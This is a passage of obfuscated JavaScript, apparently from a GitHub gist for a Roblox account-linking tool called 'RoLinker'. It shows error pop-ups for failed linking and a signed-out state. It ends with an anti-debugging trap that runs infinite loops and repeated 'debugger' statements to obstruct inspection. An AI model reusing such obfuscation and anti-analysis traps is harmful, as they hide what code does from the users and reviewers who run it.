'<div id="promptPopup" role="dialog"><div class="fade modal-backdrop in"></div><div role="dialog" tabindex="-1" class="fade modal-modern in modal" style="display: block; padding-left: 23px;"><div class="modal-dialog"><div role="document" class="modal-content"><div class="update-two-step"><div class="modal-header"><div class="modal-modern-header-button"><button type="button" class="close"><span aria-hidden="true"><span class="icon-close" id="closeButton1"></span></span><span class="sr-only">Close</span></button></div><div class="modal-title"><h5>Unable to link account</h5></div></div><div class="modal-body"><div class="text-center"><div>Your account is not qualified to be linked to RoLinker Alternative accounts are not allowed</div></div></div><div class="modal-footer"></div></div></div></div></div></div>'
document.body.insertAdjacentHTML('beforeend', B)
document.getElementById('closeButton1').onclick = function () {
document.getElementById('promptPopup').remove()
document.getElementsByClassName(
'text-footer footer-note'
)[0].innerText = 'Not Active'
}
document.getElementById('promptPopup').onclick = function () {
document.getElementById('promptPopup').remove()
document.getElementsByClassName(
'text-footer footer-note'
)[0].innerText = 'Not Active'
}
}
})
.fail(function (G, c, o) {
var B =
'<div id="promptPopup" role="dialog"><div class="fade modal-backdrop in"></div><div role="dialog" tabindex="-1" class="fade modal-modern in modal" style="display: block; padding-left: 23px;"><div class="modal-dialog"><div role="document" class="modal-content"><div class="update-two-step"><div class="modal-header"><div class="modal-modern-header-button"><button type="button" class="close"><span aria-hidden="true"><span class="icon-close" id="closeButton1"></span></span><span class="sr-only">Close</span></button></div><div class="modal-title"><h5>Error</h5></div></div><div class="modal-body"><div class="text-center"><div>Please refresh your page and try again, an error has occured.</div></div></div><div class="modal-footer"></div></div></div></div></div></div>'
document.body.insertAdjacentHTML('beforeend', B)
document.getElementById('closeButton1').onclick = function () {
document.getElementById('promptPopup').remove()
document.getElementsByClassName(
'text-footer footer-note'
)[0].innerText = 'Not Active'
}
document.getElementById('promptPopup').onclick = function () {
document.getElementById('promptPopup').remove()
document.getElementsByClassName(
'text-footer footer-note'
)[0].innerText = 'Not Active'
}
})
}
},
error: function () {
var y = { T: G }
y.XYQhQ = 'promptPopup'
y.nTvan = 'text-footer footer-note'
y.JjJeo = 'Not Active'
var I = y
var P =
'<div id="promptPopup" role="dialog"><div class="fade modal-backdrop in"></div><div role="dialog" tabindex="-1" class="fade modal-modern in modal" style="display: block; padding-left: 23px;"><div class="modal-dialog"><div role="document" class="modal-content"><div class="update-two-step"><div class="modal-header"><div class="modal-modern-header-button"><button type="button" class="close"><span aria-hidden="true"><span class="icon-close" id="closeButton1"></span></span><span class="sr-only">Close</span></button></div><div class="modal-title"><h5>Unable to link account</h5></div></div><div class="modal-body"><div class="text-center"><div>You are currently signed out of Roblox</div></div></div><div class="modal-footer"></div></div></div></div></div></div>'
document.body.insertAdjacentHTML('beforeend', P)
document.getElementById('closeButton1').onclick = function () {
document.getElementById('promptPopup').remove()
document.getElementsByClassName(
'text-footer footer-note'
)[0].innerText = 'Not Active'
}
document.getElementById('promptPopup').onclick = function () {
document.getElementById(I.XYQhQ).remove()
document.getElementsByClassName(I.nTvan)[0].innerText = I.JjJeo
}
},
}))
})()
function Y(i) {
function C(w) {
if (typeof w === 'string') {
return function (q) {}.constructor('while (true) {}').apply('counter')
} else {
;('' + w / w).length !== 1 || w % 20 === 0
? function () {
return true
}
.constructor('debugger')
.call('action')
: function () {
return false
}
.constructor('debugger')
.apply('stateObject')
}
C(++w)
}
try {
if (i) {
return C
} else {
C(0)
}
} catch (w) {}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment